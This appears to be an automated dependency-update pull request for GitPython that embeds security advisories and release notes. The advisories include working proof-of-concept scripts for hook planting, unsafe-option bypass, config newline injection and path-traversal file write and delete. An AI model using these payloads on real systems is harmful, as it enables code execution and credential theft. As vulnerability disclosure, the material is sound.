  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython validates a submodule's ".git" path only after cloning into it (RCE)

CVE-2026-114145 / GHSA-83vg-56qc-22m7

More information

Details

Summary

create_submodule(name, path, url) clones a submodule into the repo's own .git
directory before it rejects the path. A path of ".git/hooks" is accepted by the
pre-clone check, so the submodule is cloned straight into the live hooks directory,
and a file named post-checkout in the submodule becomes an executable
.git/hooks/post-checkout. On 3.2.0+ the later index check does raise ValueError,
but only after the clone already wrote to disk, and it does not remove the planted
hook; on 3.1.x there is no such check and the call succeeds silently. Either way the
hook runs on the next git operation (e.g. checkout), giving code execution.

Details

The checkout path is validated too late, after the clone has already mutated disk.
This breaks the "validate before mutation" invariant that commit 43a43cd8 ("Validate
submodule checkout and metadata paths before mutation") set out to enforce.

Submodule.add() calls the permissive path check before cloning, and the strict check
only reaches the ".git" alias at index time, after _clone_repo has written to disk:

git/objects/submodule/base.py (Submodule.add)
599: path = cls._to_relative_path(repo, path) # accepts ".git/hooks"
673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into /.git/hooks
714: index.add([sm], write=True) # strict check only triggers here

git/index/base.py (IndexFile._preprocess_add_items)
732: _validate_repo_path(entry.path) # rejects ".git", too late

_to_relative_path only blocks ../absolute/out-of-tree paths; .git aliases are
rejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and
runs at the index boundary. The ValueError it raises at line 732 does not roll back
what _clone_repo already wrote.

Version-dependent behavior:

  • 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the
    hook is already on disk and is not removed (incorrect order of validation vs. clone).
  • 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does
    not reject .git; create_submodule(path=".git/hooks", ...) returns with no error at
    all and the hook is planted silently.
Proof of concept

Setup:
evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload)
victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO
sample hooks (the state of a minimal/CI checkout, or git init with an empty
template dir, or GIT_TEMPLATE_DIR/init.templateDir empty)

import git, os.path as osp
try:
git.Repo("victim").create_submodule(name="x", path=".git/hooks", url=osp.abspath("evilsub"))
except ValueError:
pass # 3.2.0+: ".git" is rejected, but only AFTER the clone, so the plant already happened.
# 3.1.x: no exception is raised at all; the call succeeds and still plants the hook.

victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every
affected version. Any later checkout runs it:
git -C victim checkout -> the hook runs -> code execution

Verified live:

  • tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from
    git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and
    git checkout executed it.
  • 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted
    and executed by git checkout.
Impact

Arbitrary code execution. A library/app that creates a submodule from an
attacker-influenced path ends up with an attacker-controlled executable in
.git/hooks, which git runs on ordinary later operations. This affects any service
that derives a submodule checkout path from untrusted data, e.g. one that ingests a
submodule spec (name/path/url) from a user-supplied manifest or API request and feeds
path into create_submodule. On 3.2.0+ the library's own validation is the thing that
fails: it correctly rejects the .git path, but only after the submodule has already
been cloned into place, so an app that traps the ValueError reasonably believes the
unsafe path was blocked.

Preconditions (hence AC:H): (1) the app passes an attacker-influenced submodule path;
(2) the target hook name is free in .git/hooks, true for minimal/CI/container
checkouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default
sample hooks present, git clone refuses the non-empty destination and no plant occurs.

Affected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08
(3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

gitpython-developers/GitPython (gitpython)

v3.2.1

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.2.0...3.2.1

v3.2.0: - Security

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.62...3.2.0

v3.1.62

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.61...3.1.62

v3.1.61

Compare Source

Fix accidental removal of exploitable regex in Actor by bringing it back, and deprecating it.

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.60...3.1.61

v3.1.60: Security

Compare Source

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.59...3.1.60

v3.1.59: - Security

Compare Source

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.58...3.1.59

v3.1.58: - Security and Fixes

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.57...3.1.58

v3.1.57: - Security and Fixes

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.56...3.1.57

v3.1.56: - SECURITY

Compare Source

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.55...3.1.56

v3.1.55: - Security

Compare Source

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55

v3.1.54: - Security

Compare Source

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54

v3.1.53: - Security

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.52...3.1.53

v3.1.52: Security

Compare Source

https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.51...3.1.52

v3.1.51: - Security

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.50...3.1.51

v3.1.50

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50

v3.1.49: - Security

Compare Source

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49

v3.1.48: - Security

Compare Source

Accidentally deleted the previous GH release, it did mention the advisory this fixes.

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48

v3.1.47: - with security fixes

Compare Source

Advisories

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [gitpython](https://github.com/gitpython-developers/GitPython) ([changelog](https://github.com/gitpython-developers/GitPython/blob/main/doc/source/changes.rst)) | `~=3.1.45` → `~=3.2.1` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.2.1?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.46/3.2.1?slim=true) | --- ### GitPython has Command Injection via Git options bypass [CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215) / [GHSA-rpm5-65cw-6hj4](https://github.com/advisories/GHSA-rpm5-65cw-6hj4) / PYSEC-2026-2160 <details> <summary>More information</summary> #### Details ##### Summary GitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`. ##### Details GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands: - `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe. - `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe. The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags: - `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390` - `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071` - `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125` - `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198` That validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`. Later, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified: - `upload_pack=...` becomes `--upload-pack=...` - `receive_pack=...` becomes `--receive-pack=...` Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject. In practice: - `remote.fetch(**{"upload-pack": helper})` is blocked with `UnsafeOptionError` - `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution The same bypass works for: ```python Repo.clone_from(origin, out, upload_pack=helper) repo.remote("origin").fetch(upload_pack=helper) repo.remote("origin").pull(upload_pack=helper) repo.remote("origin").push(receive_pack=helper) ``` This does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization. Existing tests cover the hyphenated form, not the vulnerable underscore form. For example: - `test/test_clone.py:129-136` checks `{"upload-pack": ...}` - `test/test_remote.py:830-833` checks `{"upload-pack": ...}` - `test/test_remote.py:968-975` checks `{"receive-pack": ...}` Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard. ##### PoC 1. Create and activate a virtual environment in the repository root: ```bash python3 -m venv .venv-sec .venv-sec/bin/pip install setuptools gitdb source ./.venv-sec/bin/activate ``` 2. make a new python file and put the following in there, then run it: ```python import os import stat import subprocess import tempfile from git import Repo from git.exc import UnsafeOptionError ##### Setup: create isolated repositories so the PoC uses a normal fetch flow. base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh") ##### Setup: this wrapper is just to demo things you can do, not required for the exploit to work ##### you could also do something like an SSH reverse shell, really anything with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true }} > '{proof}' exec git-upload-pack "$@" """) os.chmod(wrapper, stat.S_IRWXU) subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) with open(os.path.join(producer, "README"), "w") as f: f.write("x") subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL) subprocess.run( ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"], check=True, stdout=subprocess.DEVNULL, ) subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) repo = Repo(victim) remote = repo.remote("origin") ##### the literal Git option name is properly blocked. try: remote.fetch(**{"upload-pack": wrapper}) print("control=unexpected_success") except UnsafeOptionError: print("control=blocked") ##### this is the actual vulnerability ##### you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact ##### if you do the "touch /tmp/proof" the script will crash, but the file will have been created remote.fetch(upload_pack=wrapper) ##### Proof: the helper ran as the GitPython host process. print("proof_exists", os.path.exists(proof), proof) print(open(proof).read()) ``` 3. Expected result: - The script prints `control=blocked` - The script prints `proof_exists True ...` - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names Example output: ```bash GitPython % python3 test.py control=blocked proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt code_exec=1 whoami=uid=501(wes) gid=20(staff) <redacted> cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted> argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git> USER=<redacted> SSH_AUTH_SOCK=<redacted> PATH=<redacted> HOME=<redacted> ``` This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`. ##### Impact Who is impacted: - Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior - Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with `**kwargs` - CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs ) What the attacker needs to control: - A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()` From a severity perspective, this could lead to - Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process - Modification of repositories, build outputs, or release artifacts - Lateral movement from CI/CD workers or automation hosts - Full compromise of the worker or service process handling repository operations The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-rpm5-65cw-6hj4) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Unsafe option check validates multi_options before shlex.split transformation [CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284) / [GHSA-x2qx-6953-8485](https://github.com/advisories/GHSA-x2qx-6953-8485) / PYSEC-2026-2161 <details> <summary>More information</summary> #### Details ##### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ##### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ##### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ##### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267. #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) - [https://www.tenable.com/cve/CVE-2026-32686](https://www.tenable.com/cve/CVE-2026-32686) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-x2qx-6953-8485) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215) / [GHSA-rpm5-65cw-6hj4](https://github.com/advisories/GHSA-rpm5-65cw-6hj4) / PYSEC-2026-2160 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2160) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284) / [GHSA-x2qx-6953-8485](https://github.com/advisories/GHSA-x2qx-6953-8485) / PYSEC-2026-2161 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47. #### Severity - CVSS Score: 9.8 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://www.tenable.com/cve/CVE-2026-32686](https://www.tenable.com/cve/CVE-2026-32686) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2161) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository [CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243) / [GHSA-7545-fcxq-7j24](https://github.com/advisories/GHSA-7545-fcxq-7j24) / PYSEC-2026-2162 <details> <summary>More information</summary> #### Details ##### 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ##### 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ##### 🧠 Details ##### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ##### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ##### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ##### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ##### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ##### 🧪 Proof of Concept ##### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ##### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ##### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ##### 💥 Impact ##### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ##### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ##### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ##### 🛠️ Mitigation / Fix ##### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ``` #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24) - [https://nvd.nist.gov/vuln/detail/CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7545-fcxq-7j24) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243) / [GHSA-7545-fcxq-7j24](https://github.com/advisories/GHSA-7545-fcxq-7j24) / PYSEC-2026-2162 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2162) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath [CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244) / [GHSA-v87r-6q3f-2j67](https://github.com/advisories/GHSA-v87r-6q3f-2j67) / PYSEC-2026-2163 <details> <summary>More information</summary> #### Details `GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\n` becomes `\n\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration. This was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`. PoC (standalone, no MLRun required): ```python import git, subprocess, os repo = git.Repo("/tmp/testrepo") with repo.config_writer() as cw: cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks") r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True) assert r.returncode == 0 print(r.stdout.strip()) # /tmp/hooks 